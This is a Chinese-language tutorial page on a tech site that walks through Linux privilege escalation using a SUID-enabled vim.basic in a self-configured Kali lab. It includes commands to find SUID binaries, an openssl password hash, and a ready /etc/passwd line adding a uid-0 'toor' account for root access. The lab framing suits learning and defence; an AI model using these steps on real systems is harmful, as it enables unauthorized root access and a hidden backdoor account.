返回顶部
首页 > 资讯 > 操作系统 >Linux使用suid vim.basic文件实现提权
  • 929
分享到

Linux使用suid vim.basic文件实现提权

linuxsuidvimbasic提权 2022-06-03 14:06:13 929人浏览 八月长安
摘要

在kali上复现 先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户 现在就是一个合适的提权环境 通过以下命令可以

在kali上复现

先给需要的vim.basic文件设置suid权限

chmod u+s /usr/bin/vim.basic

先adduser test1一个普通权限用户

现在就是一个合适的提权环境

通过以下命令可以找到存在suid权限的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

可用于提权的文件有

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户

passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell

这边可以看看root用户的格式

root:x:0:0:root:/root:/bin/bash

(密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)

生成密码:用openssl passwd -1 ?salt asd 123 (这里是-1(数字1)不是L)

直接写在passwd文件里面,

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

用vim /etc/passwd可以修改,但是在保存是会出现E212,无法保存,提示我们没有权限修改这个

这时应该用之前find找到的vim.basic文件运行,这个程序是有suid权限的。绝对可以修改

vim.basic /etc/passwd

用这个打开,然后修改文件,就可以成功保存

可以看到已经添加了,su toor切换,密码123,再id查看一下权限

root权限

chmod u+s /usr/bin/vim.basic

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持编程网。

--结束END--

本文标题: Linux使用suid vim.basic文件实现提权

本文链接: https://lsjlt.com/news/11500.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • Linux使用suid vim.basic文件实现提权
    在kali上复现 先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户 现在就是一个合适的提权环境 通过以下命令可以...
    99+
    2022-06-03
    linux suid vim basic 提权
  • linux如何禁用一个二进制文件的 SUID位
    ...
    99+
    2024-04-02
  • linux kernel提权怎么实现
    要实现Linux内核的提权,通常有以下几种方法:1. 利用漏洞:寻找Linux内核中已知的漏洞,并利用这些漏洞进行提权。一旦找到漏洞...
    99+
    2023-10-19
    linux kernel
  • linux如何罗列一个系统中所有使用了SUID控制的文件
    ...
    99+
    2024-04-02
  • Linux(ubuntu)下实现增加/删除文件权限
    【权限篇】 ubuntu系统中,对于不同用户及不同用户组中用户对文件的操作权限都不相同,通过控制台我们可以快速的对文件权限进行操作。 对于修改权限可以使用两种方案来更改其权限,下面认识一下文件系统权限的组成: 文件权限查...
    99+
    2022-06-04
    ubuntu 删除文件权限
  • 如何使用SCP实现Linux文件互传
    这篇文章主要为大家展示了“如何使用SCP实现Linux文件互传”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何使用SCP实现Linux文件互传”这篇文章吧。近来要做linux主机的P2V操作(...
    99+
    2023-06-13
  • linux如何设置一个二进制文件的 SUID 位 - 运行该文件的用户也被赋予和所有者同样的权限
    ...
    99+
    2024-04-02
  • linux文件权限用哪些命令
    linux中的文件权限命令有:1.chmod命令,控制用户对文件的权限;2.chgrp命令,变更文件或目录的所属群组;3.chown命令,设置文件所有者和文件关联组;linux中常见的文件权限命令有以下几种chmod命令linux中chmo...
    99+
    2024-04-02
  • 怎么在Linux中使用shell 提取文件名
    怎么在Linux中使用shell 提取文件名?针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。什么是Linux系统Linux是一种免费使用和自由传播的类UNIX操作系统,是一个...
    99+
    2023-06-09
  • Linux文件/目录的权限及归属管理使用
    一、文件的权限和归属概述 1、访问权限 读取r:允许查看文件内容、显示目录列表; 写入w:允许修改文件内容,允许在目录中新建、移动、删除文件或子目录; 可执行x:允许运行程序、切换目录 2、归属(所有权) 属主:拥有...
    99+
    2022-06-04
    Linux文件权限归属 Linux 目录权限归属 linux查看目录权限
  • Jquery如何实现文件提交
    这篇文章主要介绍Jquery如何实现文件提交,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!首先引入文件jquery.js,jquery.form.js,jqueryMultiFile...
    99+
    2024-04-02
  • 如何在Linux中使用chmod命令修改文件权限
    如何在Linux中使用chmod命令修改文件权限?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。语法:chmod [who] [+ | - | =] [mode]...
    99+
    2023-06-13
  • Linux下如何使用ACL备份及恢复文件权限
    小编给大家分享一下Linux下如何使用ACL备份及恢复文件权限,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!ACL的全称是 Access Control List...
    99+
    2023-06-27
  • 如何使用Linux文本操作命令ed进行提权nov5详解
    前言 本文我将为大家介绍一个面向行的文本编辑器命令“ed”,它主要用于生成,显示,更改和操作文本文件。所有ed命令都在行或行范围内执行操作;例如,“d”命令删除行;“m”命令移动行,“t”命令复制行等等。现在,我们要做的...
    99+
    2022-06-04
    linux 提权 linux提权命令 ed命令
  • 如何使用notify+rsync实现linux文件批量更新
    这篇文章主要介绍“如何使用notify+rsync实现linux文件批量更新”,在日常操作中,相信很多人在如何使用notify+rsync实现linux文件批量更新问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答...
    99+
    2023-06-28
  • Python使用sftp实现传文件夹和文件
    利用python的sftp实现文件上传,可以是文件,也可以是文件夹。 版本Python2.7.13 应该不用pip安装更多的插件,都是自带的 不多说 上代码 # -*- codi...
    99+
    2024-04-02
  • 使用AJAX实现上传文件
    本文实例为大家分享了使用AJAX实现上传文件的具体代码,供大家参考,具体内容如下 需求: 在前端页面选择文件上传到服务器的指定位置 前端代码 <form id="upl...
    99+
    2024-04-02
  • Linux中如何使用chgrp和umask命令控制文件权限
    这篇文章将为大家详细讲解有关Linux中如何使用chgrp和umask命令控制文件权限,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。chgrp - 改变文件的组所有权总览chgrp [选项]...
    99+
    2023-06-12
  • linux 中怎么使用awk命令实现多文件操作
    linux 中怎么使用awk命令实现多文件操作 ,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。代码如下:[chengmo@centos5 shell]$ awk...
    99+
    2023-06-13
  • Linux下如何使用inotify+rsync实现文件批量更新
    这篇文章主要为大家展示了“Linux下如何使用inotify+rsync实现文件批量更新”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Linux下如何使用inotify+rsync实现文件批量更...
    99+
    2023-06-27
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作